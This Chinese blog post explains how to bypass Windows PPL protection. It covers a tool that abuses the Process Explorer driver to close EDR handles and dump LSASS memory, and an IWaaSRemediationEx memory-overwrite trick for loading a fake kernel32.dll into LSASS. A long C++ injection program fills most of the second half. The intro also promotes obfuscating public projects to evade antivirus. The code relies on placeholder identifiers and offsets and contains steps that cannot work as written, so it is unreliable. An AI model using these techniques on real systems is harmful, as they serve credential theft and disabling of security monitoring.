前言
最近也是学到了ppl这一块了,虽然我C++学的比较垃圾(所以下面文章中有错误的地方请大佬们指正),对系统编程也是处于一知半解的状态,但是由于我找到的视频资源也是比较老了,上面的东西除了ppl原理,绕过这块大概率已经是没用了。然后免杀嘛,学了后面忘前面,实战半天出不了成果,不如github上随便找个低星项目搞混淆直接丢上去来得实在和有用。但是还是想找找东西学学,于是看了点国内社区的文章,要么都比较老了,要么提到的工具已经没用了。然后就去看英文的文章了,所以下面会分别贴上原文和翻译(就当是我翻的)。
参考文献
Bypassing PPL in Userland (again) – SCRT Team Blog
翻译链接
利用Process Explorer绕过受保护进程(PPL)和对象回调(ObRegisterCallbacks)
原文原理总结
在第一篇文章中,作者通过Process Explorer的一些功能特性,获取高权限来关闭ppl进程。Process Explorer本身有读取进程ppl信息的功能,虽然相关信息存储在peb中,但即使有管理员权限也不能读取到相关信息,软件本身通过了驱动 PROCEXP152 与内核通信才读取到了进程的ppl信息,驱动PROCEXP152通过IOCTL 代码 0x3C 获取 PPL 进程的 PROCESS_ALL_ACCESS 句柄,不仅可以获取进程信息,还可以终止句柄。
原作者没有提到IOCTL是啥东西,我就在这里简单解释一下。Windows用户态程序无法直接调用内核函数或访问内核内存。为实现通信,驱动需先通过IoCreateDevice
在内核对象管理器命名空间(\Device\ProcExp152
)创建设备对象。由于用户态默认无法访问\Device\
路径,需再调用IoCreateSymbolicLink
将其映射到全局DOS设备命名空间(\\.\ProcExp152
),用户态程序即可通过此路径打开设备句柄。当用户态调用DeviceIoControl
时:
- 系统生成IRP请求并发送至驱动
- 驱动在
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
回调函数中解析IOCTL - 驱动执行对应操作(如修改进程内存)后返回结果
总体来讲就是通过合法IOCTL来绕过ppl
利用
https://github.com/waawaa/breakcyserver
工具自带所需驱动,跑一下就行。阅读源码发现工具进行了以下的操作尝试
- 通过
\\\\.\\PROCEXP152
设备与Process Explorer驱动程序交互 - 枚举系统句柄表,查找属于目标进程的句柄
- 关闭"File"和"ALPC Port"类型的句柄,这可以破坏EDR/AV的监控能力
- 使用自定义的MiniDump实现转储LSASS进程内存
- 将转储保存为
C:\\Users\\vm1\\Desktop\\lsass.dmp
(需指定pid) - 尝试利用窃取令牌来提权(这一步被注释了)
再次在用户态绕过PPL(受保护进程)
接下来我们看第二篇,为什么说是再次呢,文章作者同时也是ppldump(2022)的作者,这个工具已经不能用了,同时他貌似在2021年的时候发了一个ppldump的前身。这个利用过程比较复杂,核心就是利用了IWaaSRemediationEx接口的两个方法(LaunchDetectionOnly和LaunchRemediationOnly)能够改写内存空间的特性,修改ntdll!LdrpKnownDllDirectoryHandle这一内存地址的值,使其指向\BaseNamedObjects的对象目录句柄,从而诱导PPL进程加载攻击者控制的DLL,最终实现代码注入。原理看似很简单,但实现起来就非常复杂了,IWaaSRemediationEx接口改写内存空间的功能只是他的副产品,由于堆空间的随机分配,实际操作过程中需要不断尝试对齐,利用LaunchDetectionOnly和LaunchRemediationOnly生成适合的内存地址的值去进行覆盖,接下来是具体解释。
LaunchDetectionOnly和LaunchRemediationOnly
LaunchDetectionOnly
功能与行为
- 调用方式:
-
- LaunchDetectionOnly是一个COM方法,攻击者通过创建IWaaSRemediationEx对象并传递参数调用它。
- 该方法内部调用了SysAllocString,这是一个Windows API,用于分配并返回BSTR(基本字符串)的内存地址。
- 内存操作:
-
- 调用完成后,LaunchDetectionOnly会将SysAllocString返回的堆地址写入攻击者指定的内存位置。
- 例如,假设攻击者指定目标地址为ntdll!LdrpKnownDllDirectoryHandle,方法会将堆分配的地址写入此处。
- 输出特性:
-
- 返回的堆地址是一个8字节值(在64位系统中),其内容由堆分配器决定。
- 堆地址通常遵循对齐规则(如8字节对齐),且包含随机字节,但可能偶然包含攻击者需要的特定值。
- 示例输出可能为:0x54 73 de fa 01 00 00 00,其中0x54恰好是\BaseNamedObjects句柄的值,但其余字节(如73 de fa 01)是不可控的随机数据。
LaunchRemediationOnly
功能与行为
- 调用方式:
-
- 与LaunchDetectionOnly类似,LaunchRemediationOnly通过COM接口调用,攻击者指定目标写入地址。
- 内存操作:
-
- 该方法写入一个固定的16字节模式到指定位置。
- 示例模式:17 00 ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ??。
-
-
- 17 00:固定前缀。
- ?? ?? ?? ?? ?? ??:不可控字节(随机数据)。
- 00 00 00 00:连续4个零字节。
- ?? ?? ?? ??:不可控后缀。
-
- 输出特性:
-
- 写入模式中的00 00 00 00是关键,因为它可以覆盖不需要的随机数据。
- 例如,若目标地址已有数据0x54 73 de fa 01 00 00 00,在适当偏移写入此模式可清理多余字节。
第一步写入:调用LaunchDetectionOnly
目标与操作:
- 目的:将包含目标句柄值低位字节0x54(对应\BaseNamedObjects句柄)的堆地址写入ntdll!LdrpKnownDllDirectoryHandle。
- 方法:调用IWaaSRemediationEx接口的LaunchDetectionOnly方法,通过其内部对SysAllocString的调用生成一个堆地址,并将其写入指定位置。
- 实现:
-
- 攻击者实例化IWaaSRemediationEx对象后,调用LaunchDetectionOnly,并将LdrpKnownDllDirectoryHandle的地址作为参数传递。
- 示例伪代码:
IWaaSRemediationEx* pRemediation;
void* target = &LdrpKnownDllDirectoryHandle;
pRemediation->LaunchDetectionOnly(target, ...);
结果分析:
- 输出:SysAllocString返回的堆地址是一个8字节值,例如0x54 73 de fa 01 00 00 00。
-
- 0x54:目标句柄值的低位字节,偶然匹配\BaseNamedObjects的句柄。
- 73 de fa 01 00 00 00:堆地址的其余部分,由堆分配器随机生成。
- 意义:
-
- 这一步成功将0x54写入目标地址的低位,但高位字节不可控,必须通过后续步骤清理。
技术细节:
- 堆地址来源:堆分配器(如Windows的NT Heap)在进程运行时动态分配内存,地址值受系统状态影响。
- 句柄匹配:句柄值从0x04开始以4递增,\BaseNamedObjects作为早期创建的对象,其值通常较小(如0x54),可能出现在堆地址低位。
第二步清理:调用LaunchRemediationOnly
目标与操作:
- 目的:利用LaunchRemediationOnly的固定写入模式,清理第一步中不可控的随机字节,将LdrpKnownDllDirectoryHandle的高位字节重置为零。
- 方法:调用LaunchRemediationOnly,指定写入位置为LdrpKnownDllDirectoryHandle - 7,使其固定模式中的00 00 00 00覆盖目标地址的高位。
- 实现:
-
- 攻击者计算偏移地址并调用:
void* target = &LdrpKnownDllDirectoryHandle - 7;
pRemediation->LaunchRemediationOnly(target, ...);
结果分析:
- 写入模式:LaunchRemediationOnly写入16字节固定模式:
-
- 示例:17 00 ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ??。
-
-
- 17 00:固定前缀。
- ?? ?? ?? ?? ?? ??:随机字节。
- 00 00 00 00:关键的连续零字节。
- ?? ?? ?? ??:随机后缀。
-
- 内存布局:
-
- 假设第一步后LdrpKnownDllDirectoryHandle为0x54 73 de fa 01 00 00 00。
- 在LdrpKnownDllDirectoryHandle - 7写入后:
[LdrpKnownDllDirectoryHandle - 7] -> 17 00 ?? ?? ?? ?? ?? ??
[LdrpKnownDllDirectoryHandle] -> 00 00 00 00 ?? ?? ?? ??
技术细节:
- 偏移选择:-7的偏移基于模式中00 00 00 00的位置(第9至12字节),使其对齐到目标地址。
- 覆盖范围:16字节模式覆盖LdrpKnownDllDirectoryHandle及其前后内存,需确保不干扰关键数据。
最终调整:构造完整句柄值
目标与操作:
- 目的:确保LdrpKnownDllDirectoryHandle最终值为0x54 00 00 00 00 00 00 00,即\BaseNamedObjects的完整句柄。
- 方法:通过第一步和第二步的组合,调整内存状态,使0x54与00 00 00 00正确对齐。
- 实现:
-
- 第一步写入0x54 73 de fa 01 00 00 00。
- 第二步在-7偏移写入模式,覆盖高位。
- 理想结果:
[LdrpKnownDllDirectoryHandle - 7] -> 17 00 ?? ?? ?? ?? ?? ??
[LdrpKnownDllDirectoryHandle] -> 00 00 00 00 54 00 00 00
结果分析:
- 期望状态:0x54保留在低位,高位全为0。
- 调整需求:
-
- 如果第二步覆盖了0x54,需先写入模式,再用LaunchDetectionOnly补写0x54。
- 示例调整:
-
-
- LaunchRemediationOnly写入00 00 00 00。
- LaunchDetectionOnly在正确偏移补写0x54。
-
在\BaseNamedObjects中植入恶意DLL
- 目标:在\BaseNamedObjects目录中创建伪造的DLL文件,伪装为系统所需的已知DLL。
- 操作:
-
- 攻击者以管理员权限创建文件对象,路径为\BaseNamedObjects\<DLL名称>。
- 常用伪装目标包括kernel32.dll、ntdll.dll等,因为这些DLL常被PPL进程加载。
- 示例代码(使用Windows API):
HANDLE hFile = CreateFileW(
L"\\BaseNamedObjects\\kernel32.dll",
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
WriteFile(hFile, malicious_dll_data, dll_size, &bytesWritten, NULL);
CloseHandle(hFile);
- 恶意DLL内容:
-
- DLL包含攻击者定义的代码,通常在DllMain函数中执行恶意逻辑。
- 示例伪代码
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// 执行恶意代码,例如提取内存凭据
MessageBox(NULL, L"Injected!", L"Success", MB_OK);
}
return TRUE;
}
- 技术细节:
-
- 文件创建需使用\BaseNamedObjects的全路径,借助NtCreateFile或类似API。
- DLL必须符合PE(Portable Executable)格式,确保系统加载器接受。
触发PPL进程加载DLL
- 目标:使PPL进程(如LSASS)尝试加载已知DLL,从而读取\BaseNamedObjects中的恶意文件。
- 操作:
-
- 自然触发:
-
-
- PPL进程在运行时可能动态加载DLL(如调用LoadLibrary)。
- 修改后的LdrpKnownDllDirectoryHandle会引导加载器检查\BaseNamedObjects。
-
-
- 主动触发:
-
-
- 攻击者可通过外部调用(如CreateRemoteThread结合LoadLibrary)强制PPL进程加载特定DLL。
- 示例代码:
-
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ppl_pid);
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, dll_path_size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteAddr, L"\\BaseNamedObjects\\kernel32.dll", dll_path_size, NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryW, remoteAddr, 0, NULL);
代码实现
#include <windows.h>
#include <comdef.h>
#include <iostream>
#include <string>
// 定义IWaaSRemediationEx接口(假设的IID和方法签名,需根据实际逆向调整)
MIDL_INTERFACE("XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX") // 替换为真实的IID
IWaaSRemediationEx : public IUnknown {
public:
virtual HRESULT STDMETHODCALLTYPE LaunchDetectionOnly(void* target, void** result) = 0;
virtual HRESULT STDMETHODCALLTYPE LaunchRemediationOnly(void* target) = 0;
};
// CLSID_WaaSRemediationEx(假设值,需从系统逆向获取)
const CLSID CLSID_WaaSRemediationEx = { /* 替换为真实的CLSID */ };
// 获取ntdll!LdrpKnownDllDirectoryHandle地址(需动态解析)
void* GetLdrpKnownDllDirectoryHandle() {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
std::wcerr << L"Failed to load ntdll.dll" << std::endl;
return nullptr;
}
// 假设通过符号解析或偏移获取,实际需调试器确认
return (void*)((BYTE*)hNtdll + 0x123456); // 替换为真实偏移
}
// 创建恶意DLL文件
bool CreateMaliciousDll(const wchar_t* path) {
// 简单示例:创建一个显示消息框的DLL
const BYTE dllData[] = { /* PE格式的DLL二进制数据 */ };
HANDLE hFile = CreateFileW(
path,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
std::wcerr << L"Failed to create DLL file: " << GetLastError() << std::endl;
return false;
}
DWORD bytesWritten;
WriteFile(hFile, dllData, sizeof(dllData), &bytesWritten, NULL);
CloseHandle(hFile);
return true;
}
// 主函数
int wmain() {
HRESULT hr;
// 初始化COM
hr = CoInitialize(NULL);
if (FAILED(hr)) {
std::wcerr << L"COM initialization failed: " << hr << std::endl;
return 1;
}
// 获取LdrpKnownDllDirectoryHandle地址
void* ldrpHandle = GetLdrpKnownDllDirectoryHandle();
if (!ldrpHandle) {
std::wcerr << L"Failed to locate LdrpKnownDllDirectoryHandle" << std::endl;
CoUninitialize();
return 1;
}
std::wcout << L"LdrpKnownDllDirectoryHandle at: " << ldrpHandle << std::endl;
// 创建IWaaSRemediationEx实例
IWaaSRemediationEx* pRemediation = nullptr;
hr = CoCreateInstance(
CLSID_WaaSRemediationEx,
NULL,
CLSCTX_LOCAL_SERVER,
__uuidof(IWaaSRemediationEx),
(void**)&pRemediation
);
if (FAILED(hr)) {
std::wcerr << L"Failed to create IWaaSRemediationEx: " << hr << std::endl;
CoUninitialize();
return 1;
}
// 第一步:利用LaunchDetectionOnly写入包含0x54的地址
void* result = nullptr;
do {
hr = pRemediation->LaunchDetectionOnly(ldrpHandle, &result);
if (FAILED(hr)) {
std::wcerr << L"LaunchDetectionOnly failed: " << hr << std::endl;
pRemediation->Release();
CoUninitialize();
return 1;
}
std::wcout << L"LaunchDetectionOnly result: " << std::hex << *(ULONGLONG*)ldrpHandle << std::endl;
} while ((*(BYTE*)ldrpHandle & 0xFF) != 0x54); // 检查低位字节是否为0x54
// 第二步:利用LaunchRemediationOnly清理高位
void* offsetTarget = (BYTE*)ldrpHandle - 7; // 偏移-7对齐00 00 00 00
hr = pRemediation->LaunchRemediationOnly(offsetTarget);
if (FAILED(hr)) {
std::wcerr << L"LaunchRemediationOnly failed: " << hr << std::endl;
pRemediation->Release();
CoUninitialize();
return 1;
}
std::wcout << L"After LaunchRemediationOnly: " << std::hex << *(ULONGLONG*)ldrpHandle << std::endl;
// 验证最终值
ULONGLONG finalValue = *(ULONGLONG*)ldrpHandle;
if ((finalValue & 0xFFFFFFFFFFFFFF00) == 0 && (finalValue & 0xFF) == 0x54) {
std::wcout << L"Successfully set LdrpKnownDllDirectoryHandle to 0x54" << std::endl;
} else {
std::wcerr << L"Failed to construct target value: " << std::hex << finalValue << std::endl;
pRemediation->Release();
CoUninitialize();
return 1;
}
// 第三步:在\BaseNamedObjects中创建恶意DLL
const wchar_t* dllPath = L"\\BaseNamedObjects\\kernel32.dll";
if (!CreateMaliciousDll(dllPath)) {
pRemediation->Release();
CoUninitialize();
return 1;
}
std::wcout << L"Malicious DLL created at: " << dllPath << std::endl;
// 第四步:触发PPL进程加载DLL(以LSASS为例)
DWORD pid = 1234; // 替换为目标PPL进程的PID(如LSASS)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
std::wcerr << L"Failed to open PPL process: " << GetLastError() << std::endl;
pRemediation->Release();
CoUninitialize();
return 1;
}
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, wcslen(dllPath) * 2 + 2, MEM_COMMIT, PAGE_READWRITE);
if (!remoteAddr) {
std::wcerr << L"VirtualAllocEx failed: " << GetLastError() << std::endl;
CloseHandle(hProcess);
pRemediation->Release();
CoUninitialize();
return 1;
}
WriteProcessMemory(hProcess, remoteAddr, dllPath, wcslen(dllPath) * 2 + 2, NULL);
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW"),
remoteAddr,
0,
NULL
);
if (!hThread) {
std::wcerr << L"CreateRemoteThread failed: " << GetLastError() << std::endl;
} else {
std::wcout << L"DLL injection triggered successfully" << std::endl;
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
// 清理
VirtualFreeEx(hProcess, remoteAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
pRemediation->Release();
CoUninitialize();
return 0;
}